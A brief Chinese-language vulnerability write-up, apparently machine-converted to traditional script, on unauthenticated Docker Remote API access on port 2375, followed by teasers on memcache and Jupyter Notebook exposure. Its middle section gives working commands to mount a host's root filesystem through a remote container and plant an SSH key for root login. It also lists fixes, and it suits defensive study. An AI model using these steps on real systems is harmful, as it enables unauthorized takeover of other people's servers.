0x00 漏洞原因
dockerd -h unix:///var/run/docker.sock -h 0.0.0.0:2375
docker守護程序監聽在0.0.0.0,外網可訪問
沒有使用iptables等限制可連線的**ip
0x01 漏洞利用
1.遠端對被攻擊的主機的docker容器進行操作
docker -h tcp://remoteip:2375 images
遠端啟動被攻擊主機的docker容器.並掛在宿主機的目錄,通過容器修改宿主機的authrized_keys檔案,寫入公鑰.
docker -h tcp://remoteip:2375 run -it -v /:/mnt imageid /bin/bash
0x02 演示步驟
ssh-keygen 生成公鑰檔案
docker -h tcp://remoteip:2375 images 檢視映象
docker -h tcp://remoteip:2375 run -it -v /:/mnt imageid /bin/bash 啟動乙個容器並將宿主機根目錄掛在到容器的mnt目錄
mkdir .ssh 建立ssh目錄
touch authorized_keys 建立檔案
將公鑰的檔案寫入authorized_keys
ssh root@remoteip 免密碼登入宿主機
0x03 修復方法
設定acl, 只允許信任ip連線對應埠
開啟tls,使用生成的證書進行認證
Docker Remote API 未授權訪問
docker 在使用集群管理 如 kubernetes,swarm 時,要使用remote api對節點進行管理。remote api無認證時的預設埠是2375 需要tls認證預設登入是2376 remote api預設是可以不需要認證能直接訪問,能直接對docker進行操作,如新建容器,刪除容器,...
memcache未授權訪問
memcache是國外社群 live journal的開發團隊開發的高效能的分布式記憶體快取伺服器。一般的使用目的是,通過快取資料庫查詢結果,減少資料庫訪問次數,以提高動態web應用的速度 提高擴充套件性。memcache的預設埠是11211,不需要密碼即可訪問,黑客直接訪問即可獲取資料庫中所有資訊...
Jupyter Notebook 未授權訪問漏洞
好好學習,天天向上 jupyter notebook 此前被稱為 ipython notebook 是乙個互動式筆記本,支援執行 40 多種程式語言。如果管理員未為jupyter notebook配置密碼,將導致未授權訪問漏洞,遊客可在其中建立乙個console並執行任意python 和命令。這裡使...